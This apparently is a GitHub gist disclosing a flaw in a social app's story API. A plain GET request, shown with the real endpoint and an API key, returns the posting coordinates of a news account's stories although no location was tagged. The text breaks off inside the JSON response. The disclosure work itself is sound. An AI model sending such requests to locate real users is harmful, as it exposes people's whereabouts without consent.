Skip to content

Instantly share code, notes, and snippets.

@a7maadf
Last active February 4, 2026 06:50
Show Gist options
  • Select an option

  • Save a7maadf/bc39f4a7991ec2d1e68410fcd781901c to your computer and use it in GitHub Desktop.

Select an option

Save a7maadf/bc39f4a7991ec2d1e68410fcd781901c to your computer and use it in GitHub Desktop.

Broken Access Control and Insecure Design

Stories leaking location:

Sending a simple GET request to a valid user id with active story reveals the location the story was posted from, this always happen even if the user didn't tag a specific location

Request:

GET /api/activity/user/stories/get?user_id=a05d3292-61a2-47f7-8344-4f1da4307a22 HTTP/2
Host: xwm21a4m1c.execute-api.eu-west-1.amazonaws.com
User-Agent: Dart/3.9 (dart:io)
X-Api-Key: Wsjxb3BqTL72pfvB4ikO3aKR1fBsCFz63Jb1RuJ7
Accept-Encoding: gzip, deflate, br
Authorization: Bearer <token here>
Sentry-Trace: b50e3ac9a53c429394b8c3ff998c3c39-6b0929767ae7427c-0
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 38805
Date: Tue, 03 Feb 2026 19:16:36 GMT
X-Amzn-Trace-Id: Root=1-69824993-3b4a207829c7265b7ebed09f;Parent=4941742b50db28c9;Sampled=0;Lineage=1:492d3803:0
X-Amzn-Requestid: 0f5194b9-0ef5-4280-8007-7effdf0db6d6
X-Amz-Apigw-Id: YOBvKGd5joEEf3Q=
X-Cache: Miss from cloudfront
Via: 1.1 4e7733aa35550c396490a522c5283710.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MRS53-P4
X-Amz-Cf-Id: BWk8CyuO9CKUQW0fk919L6WG8WwDV7uWqWaFmt87oHiVhKnKb3GKsg==

{"Stories":[{"ActorId":"a05d3292-61a2-47f7-8344-4f1da4307a22","Activities":[{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"15532220-012a-11f1-8080-8000328e883a","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:d63b555c-abca-4f68-bcf4-d69c0610dea0","lat":31.979999542236328,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"d63b555c-abca-4f68-bcf4-d69c0610dea0","collection":"POST","foreign_id":"POST:d63b555c-abca-4f68-bcf4-d69c0610dea0","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"🚨BREAKING: The US military shot down an Iranian drone that approached an American aircraft carrier operating in the Arabian Sea, a US official told Reuters.\n\nRead more: http://en.royanews.tv/news/67375","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_386fbf27-4864-413f-8127-1b00bebf42e8.jpg","blurHash":"LYF$hgsp4nXT_NaeRPozxujYaxof","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false,"taggedLocation":null,"topic":"News"},"created_at":"2026-02-03T17:59:28.317167Z","updated_at":"2026-02-03T18:43:32.202412Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":9,"LIKE_POST":60,"REPOST":4,"RESTORY":1},"target":"","time":"2026-02-03T17:59:28.322Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":1,"VIEW":31},"OwnReactions":{},"LatestReactions":null,"Id":"0a0a451e-0130-11f1-8080-800069ceb377","Verb":"RESTORY","ForeignId":"reaction:cad852b9-5dac-4f03-9750-31664741c056","Time":"2026-02-03T18:42:06.369923Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T18:42:06.369923Z","updated_at":"2026-02-03T18:42:06.369923Z","id":"cad852b9-5dac-4f03-9750-31664741c056","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"15532220-012a-11f1-8080-8000328e883a","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"a991e0c0-012a-11f1-8080-80017de6ac38","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:d87d1d63-173e-49b6-b8ae-59eb6c30275d","lat":31.979999542236328,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"d87d1d63-173e-49b6-b8ae-59eb6c30275d","collection":"POST","foreign_id":"POST:d87d1d63-173e-49b6-b8ae-59eb6c30275d","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"US spokesperson says drone shot down in \"self-defense to protect forces\".\n\nRead more: http://en.royanews.tv/news/67375","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_0ad728b0-5913-4703-b15a-c11a14f44db4.jpg","blurHash":"LaHU|Xxa4-W=~qWVRPs;S~WXjEo0","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false,"taggedLocation":null,"topic":"News"},"created_at":"2026-02-03T18:03:37.030308Z","updated_at":"2026-02-03T18:43:39.000392Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":16,"LIKE_POST":74,"REPOST":6,"RESTORY":1},"target":"","time":"2026-02-03T18:03:37.036Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":1,"VIEW":22},"OwnReactions":{},"LatestReactions":null,"Id":"0499c974-0130-11f1-8080-8001154ff47f","Verb":"RESTORY","ForeignId":"reaction:bbcb42f4-8e47-4843-a8c1-5ce88f8d85ff","Time":"2026-02-03T18:41:57.244146Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T18:41:57.244146Z","updated_at":"2026-02-03T18:41:57.244146Z","id":"bbcb42f4-8e47-4843-a8c1-5ce88f8d85ff","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"a991e0c0-012a-11f1-8080-80017de6ac38","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"983f9000-012b-11f1-8080-80000cf144e8","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:e17a992e-b732-4846-a881-4655acc9d6e6","lat":31.979999542236328,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"e17a992e-b732-4846-a881-4655acc9d6e6","collection":"POST","foreign_id":"POST:e17a992e-b732-4846-a881-4655acc9d6e6","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"The spokesperson says the Iranian drone that was shot down was a Shahed-139 model.\n\nRead more: http://en.royanews.tv/news/67375","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_dba5a3cd-0156-4d6d-87a3-57384e8e1bcc.jpg","blurHash":"LfGlhsxb9FR*.TS4RPs:NyS2aKs:","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false,"taggedLocation":null,"topic":"News"},"created_at":"2026-02-03T18:10:17.465526Z","updated_at":"2026-02-03T18:43:44.742712Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":11,"LIKE_POST":65,"REPOST":2,"RESTORY":1},"target":"","time":"2026-02-03T18:10:17.472Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":1,"VIEW":20},"OwnReactions":{},"LatestReactions":null,"Id":"024b197a-0130-11f1-8080-80016506dd1a","Verb":"RESTORY","ForeignId":"reaction:2e8ec872-fe26-499b-961e-91da768a9647","Time":"2026-02-03T18:41:53.373017Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T18:41:53.373017Z","updated_at":"2026-02-03T18:41:53.373017Z","id":"2e8ec872-fe26-499b-961e-91da768a9647","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"983f9000-012b-11f1-8080-80000cf144e8","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"263723e0-012d-11f1-8080-800104b311f4","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:9f8d2b7a-3e63-4381-a457-3c65c3d1ab11","lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"9f8d2b7a-3e63-4381-a457-3c65c3d1ab11","collection":"POST","foreign_id":"POST:9f8d2b7a-3e63-4381-a457-3c65c3d1ab11","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"🚨 BREAKING: The US spokesperson said a US Navy destroyer intervened “to contain the situation and secure the safe passage of the American oil tanker.”\n\nRead more: http://en.royanews.tv/news/67376","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_0177446e-5d39-45e9-b8d0-ecd5d1e21a9d.jpg","blurHash":"LFBDHO-W0JIoT1NaxZxG9^SO$%s.","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false,"taggedLocation":null,"topic":"News"},"created_at":"2026-02-03T18:21:25.145007Z","updated_at":"2026-02-03T18:43:52.642486Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":9,"LIKE_POST":76,"REPOST":10,"RESTORY":1},"target":"","time":"2026-02-03T18:21:25.15Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":1,"VIEW":14},"OwnReactions":{},"LatestReactions":null,"Id":"009fdbf6-0130-11f1-8080-80001bbc08af","Verb":"RESTORY","ForeignId":"reaction:15620e92-c14a-4bae-abd6-b30d7108089c","Time":"2026-02-03T18:41:50.573055Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T18:41:50.573055Z","updated_at":"2026-02-03T18:41:50.573055Z","id":"15620e92-c14a-4bae-abd6-b30d7108089c","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"263723e0-012d-11f1-8080-800104b311f4","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"e2c3cfa0-00ff-11f1-8080-8001402255c1","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:a612ff99-7d0c-4a7d-9901-7b6d6b4512a6","lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"a612ff99-7d0c-4a7d-9901-7b6d6b4512a6","collection":"POST","foreign_id":"POST:a612ff99-7d0c-4a7d-9901-7b6d6b4512a6","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"Asked whether FIFA should move to reinstate Russia, Infantino replied: “We have to. Definitely. Because this ban has not achieved anything. It has just created more frustration and hatred.”\n\nRead more: http://en.royanews.tv/news/67362","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_bb00748c-0b48-49f3-a462-bbe480902136.jpg","blurHash":"LHBpqdwg00XR.8M{M|%2%iNbM_$%","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false},"created_at":"2026-02-03T12:57:24.62941Z","updated_at":"2026-02-03T12:57:24.62941Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":16,"HIDE":1,"LIKE_POST":151,"REPOST":21,"RESTORY":2},"target":"","time":"2026-02-03T12:57:24.634Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":6,"VIEW":266},"OwnReactions":{},"LatestReactions":null,"Id":"3223b804-0104-11f1-8080-800118dee787","Verb":"RESTORY","ForeignId":"reaction:9b023eca-3725-43d0-8718-145ed98c9ccd","Time":"2026-02-03T13:28:15.789466Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T13:28:15.789466Z","updated_at":"2026-02-03T13:28:15.789466Z","id":"9b023eca-3725-43d0-8718-145ed98c9ccd","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"e2c3cfa0-00ff-11f1-8080-8001402255c1","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya 